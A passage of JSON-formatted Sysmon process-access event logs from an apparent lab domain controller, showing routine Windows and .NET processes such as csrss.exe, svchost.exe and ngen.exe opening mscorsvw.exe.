6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7115,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.198\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010ECFD0B00}\r\nTargetProcessId: 3144\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.198","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010ECFD0B00}","TargetProcessId":"3144","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7116,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.214\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010ECFD0B00}\r\nTargetProcessId: 3144\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.214","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010ECFD0B00}","TargetProcessId":"3144","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7117,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.244\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010E6000C00}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.244","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010E6000C00}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7118,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.244\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010E6000C00}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.244","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010E6000C00}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7119,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.261\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010E6000C00}\r\nTargetProcessId: 4128\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.261","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010E6000C00}","TargetProcessId":"4128","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7120,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.307\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001044040C00}\r\nTargetProcessId: 4356\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.307","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001044040C00}","TargetProcessId":"4356","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7121,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.307\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001044040C00}\r\nTargetProcessId: 4356\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.307","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001044040C00}","TargetProcessId":"4356","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7122,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.307\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001044040C00}\r\nTargetProcessId: 4356\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:50.307","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001044040C00}","TargetProcessId":"4356","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7123,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:50.354\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: 